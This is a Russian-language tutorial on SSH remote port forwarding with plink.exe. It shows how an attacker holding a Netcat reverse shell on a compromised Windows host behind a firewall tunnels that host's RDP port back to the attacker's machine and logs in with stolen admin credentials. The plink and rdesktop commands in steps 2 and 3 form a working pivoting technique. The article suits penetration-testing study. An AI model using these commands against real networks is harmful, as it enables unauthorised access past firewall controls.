Удаленное перенаправление портов для обхода ограничений фаервола

Удаленное перенаправление портов для обхода ограничений фаервола

В этой статье мы рассмотрим использование SSH для доступа к удаленному рабочему столу через хост, находящийся за фаерволом во внутренней сети, без модификации правил, связанных с перенаправление портов, в шлюзе!

Автор: Barrow

Локальное перенаправление портов (port forwarding) уместно в том случае, если вы хотите использовать SSH для подключения к немаршрутизируемой сети (non-routable network). Однако если вы хотите получить доступ к службам в сети, когда нет возможности настроить перенаправление портов в роутере и у вас нет VPN-доступа к сети, вам поможет удаленное перенаправление портов.

Удаленное перенаправление портов подходит в тех ситуациях, когда вы хотите воспользоваться службой во внутренней сети после получения доступа к одной из машин этой сети через реверсивный (обратный) шелл. Вне зависимости от того выполняете ли вы пентесты или являетесь системным администратором, будет полезно разобраться в этой теме.

Допустим, вы скомпрометировали общедоступный терминал в местной библиотеке и получили учетные записи. Затем вы установили надежное подключение к вашей машине при помощи реверсивного шелла, но у вас нет доступа к остальным службам. Вероятно, вам захочется воспользоваться SQL-службой или удаленным рабочим столом, доступ к которым возможен только с локального хоста. Кроме того, в той сети может быть доступна какая-нибудь админ-панель, с который вы также захотите ознакомиться. В общем, чего бы вы ни пожелали, чтобы решить поставленную задачу, вам понадобится скомпрометированный хост и доступ через SSH.

Удаленное перенаправление портов может понадобиться не только во вредоносных целях, а, например, для того, чтобы сделать временную «дыру» для доступа к рабочим службам из дома (хотя служба безопасности может негативно относиться к подобного рода мероприятиям).

Другой пример: фишинговые компании, когда пользователь запустил вашу полезную нагрузку, и у вас есть только обратный шелл. После получения дополнительной информации и последующего расширения привилегий, у вас появляется административная учетная запись, которую вы хотите использовать для доступа к другой службе на скомпрометированной машине.

В этой статье мы рассмотрим использование SSH для доступа к удаленному рабочему столу через хост, находящийся за фаерволом во внутренней сети, без модификации правил, связанных с перенаправление портов, в шлюзе!

Начальные условия

Шелл представляет собой Netcat-соединение, запущенный через cmd.exe. Пользователь «bob» не обладает привилегиями. На базе ранее полученной информации я знаю, что существует привилегированный пользователь «barrow» и возможность подключения к удаленному рабочему столу.


Рисунок 1: Список активных соединений

Было бы замечательно подключиться к этой машине через удаленный рабочий стол под учетной записью администратора, однако маршрутизация к моей системе отсутствует. Скомпрометированная система находится за роутером с внутренним IP-адресом, и у меня есть доступ к внутренней сети только через внутренний хост.

Я могу воспользоваться обратным шеллом для взаимодействия со скомпрометированным хостом, но, но не смогу подключиться к удаленному рабочему столу при помощи того же IP-адреса. Если я буду использовать публичный IP-адрес, то подключусь к роутеру, который будет игнорировать мои пакеты. Поскольку у меня нет SSH-сервера в этой сети, я буду использовать Plink для перенаправления службы удаленного рабочего стола на мою машину.

Шаг 1: Установка Plink

Plink – это SSH-клиент, работающий на базе командной строки в ОС Windows. Данная утилита включена в дистрибутив Kali Linux и находится в директории /usr/share/windows-binaries/. Можно загрузить напрямую с сайта разработчика (ищите файл plink.exe).


Рисунок 2: Содержимое директории /usr/share/windows-binaries/

Шаг 2: Настройка удаленного перенаправления портов

Используя Netcat-шелл и plink.exe, я буду устанавливать удаленное перенаправление портов из системы жертвы на мою машину при помощи следующей команды, вводимой в обратном шелле, который я организовал на машине жертвы.
plink attackingMachine -R 4000:127.0.0.1:3389

Синтаксис аналогичен SSH. Параметр –R указывает Plink, что нужно подключиться к моей машине и привязать образованный канал к порту 4000 (можно выбрать любой другой порт). Далее определяем, какая служба будет привязана к порту 4000 на моей машине. Порт, используемый в системе жертвы – 3389. После ввода команды я подключусь к моей машине и буду иметь доступ к службе удаленного рабочего стола через мой локальный порт 4000.

Рисунок 3: Схема подключения к удаленной службе

Обратите внимание, что я использовал адрес 127.0.0.1 при запуске команды в системе жертвы. Этот трюк полезен для перенаправления портов в случае со службами, которые ограничены доступом только со стороны localhost (например, MySQL).

Шаг 3: Подключение к удаленному рабочему столу

Используя Netcat-шелл, я буду подключаться к службе удаленного рабочего стола в системе жертвы при помощи команды rdesktop. Команда ниже использует протокол удаленного рабочего стола для подключения к локальному порту 4000. Далее система жертвы производит перенаправление на свой локальный порт 3389.

rdesktop localhost:4000


Рисунок 4: Стартовый экран удаленного рабочего стола

Осталось воспользоваться учетными записями, полученными через фишинг или через расширение привилегий. Далее у меня будет полный доступ к системе даже несмотря на то, что шлюз игнорирует все запросы на входящие соединения. Кроме того, я продолжаю удерживать соединение, поскольку потерять шел намного проще, чем вернуть обратно.


Рисунок 5: Настройки контроля учетных записей

SSH – отличный способ для проникновения внутрь сетей и может пригодиться не только во время пентестов. Удаленное перенаправление портов позволяет воспользоваться службами в системах, доступ к которым в обычных условиях невозможен. Кроме того, вы можете использовать эти службы и не в злонамеренных целях. Например, если нужно подключиться к рабочей службе из дома, но фаервол отклоняет входящие пакеты. В некоторых случаях, установка реверсивного SSH-туннеля проще, чем, перенаправление портов у бюджетного роутера.


Большой брат следит за вами, но мы знаем, как остановить его

Подпишитесь на наш канал!